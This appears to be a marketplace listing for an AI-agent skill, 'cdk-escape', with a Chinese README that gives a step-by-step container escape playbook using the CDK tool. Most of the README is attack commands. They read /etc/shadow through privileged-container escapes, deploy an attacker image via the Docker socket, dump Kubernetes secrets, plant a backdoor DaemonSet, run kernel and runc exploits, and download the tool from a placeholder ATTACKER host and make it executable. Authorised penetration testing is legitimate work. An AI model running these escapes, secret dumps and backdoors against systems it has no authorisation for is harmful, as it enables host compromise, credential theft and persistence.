mcpField
C
cdk-escape

cdk-escape

github.com/wgpsecSecurity1.8k44 installsUpdated 4d ago
Repository

About cdk-escape

CDK is a single-binary tool for container penetration testing, intended for security practitioners assessing container environments. It checks runtimes, permissions, and mounts, and provides escape, reconnaissance, and vulnerability-testing capabilities.

Key features

  1. 01Evaluate container escape paths
  2. 02Inspect runtimes and container permissions
  3. 03Use mounts and capabilities for escape checks
  4. 04Inspect Docker Socket and Kubernetes
  5. 05Probe internal services and cloud metadata

Use cases

  1. 01Assess escape risks in a container environment
  2. 02Check Docker Socket or Kubernetes configuration
  3. 03Probe services on a container network
  4. 04Test known kernel vulnerabilities

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/wgpsec/aboutsecurity --skill cdk-escape

After installing, type/cdk-escapein Claude Code to confirm it loaded.

Details

From the project README

CDK 容器渗透与逃逸

CDK 是容器渗透的瑞士军刀——一个二进制解决容器内信息收集、漏洞检测、逃逸利用。拿到容器 shell 后,先跑 CDK 评估,再选逃逸路径。

项目地址:https://github.com/cdk-team/CDK

第一步:环境评估

进入容器后立即运行评估,CDK 会自动检测所有可能的逃逸路径:

# 全自动评估(推荐首选)
cdk evaluate

# 评估输出会列出:
# - 容器运行时类型(Docker/containerd/CRI-O)
# - 容器权限(privileged/capabilities)
# - 可利用的挂载点
# - 可用的逃逸技术
# - K8s Service Account Token
# - 网络信息

逃逸技术

特权容器逃逸
# 检测到 privileged=true 时
cdk run mount-cgroup "cat /etc/shadow"
# 或
cdk run mount-disk

# 通过 /dev 设备逃逸
cdk run mount-procfs "cat /etc/shadow"
capabilities 逃逸
# CAP_SYS_ADMIN
cdk run mount-cgroup "whoami"

# CAP_DAC_READ_SEARCH
cdk run cap-dac-read-search

# CAP_SYS_PTRACE
cdk run check-ptrace
cdk run shim-pwn  # containerd-shim 提权
Docker Socket 逃逸
# 发现挂载了 /var/run/docker.sock
cdk run docker-sock-check
cdk run docker-sock-deploy "attacker_image"
K8s 逃逸
# 利用 Service Account Token
cdk run k8s-secret-dump
cdk run k8s-configmap-dump

# 创建特权 Pod 逃逸
cdk run k8s-backdoor-daemonset
内核漏洞逃逸
# CVE-2021-22555 (Netfilter)
cdk run exploit-CVE-2021-22555

# CVE-2022-0847 (DirtyPipe)
cdk run exploit-CVE-2022-0847

# runc CVE-2019-5736
cdk run runc-pwn

容器内信息收集

# 扫描内网服务(容器网络内)
cdk run service-probe 10.0.0.0/24

# 探测 K8s API Server
cdk run k8s-service-discovery

# 获取元数据服务(云环境)
cdk run cloud-metadata

工具投递

CDK 是静态编译的单二进制文件,投递到容器很方便:

# 方式 1:通过 Web 漏洞下载
curl -o /tmp/cdk https://ATTACKER/cdk && chmod +x /tmp/cdk

# 方式 2:通过 Python 临时 HTTP 服务
# 攻击机:python3 -m http.server 8000
# 容器内:wget http://ATTACKER:8000/cdk -O /tmp/cdk && chmod +x /tmp/cdk

决策树

进入容器后:
├─ 第一步:cdk evaluate(自动评估所有逃逸路径)
├─ privileged=true → cdk run mount-cgroup / mount-disk
├─ 有 docker.sock → cdk run docker-sock-deploy
├─ 有 K8s SA Token → cdk run k8s-secret-dump
├─ 有 capabilities → 对应 capability 的利用
├─ 以上都没有 → 检查内核版本,尝试内核漏洞
└─ 也逃不了 → 容器内横向(service-probe 扫网段)

Comments

Markdown supported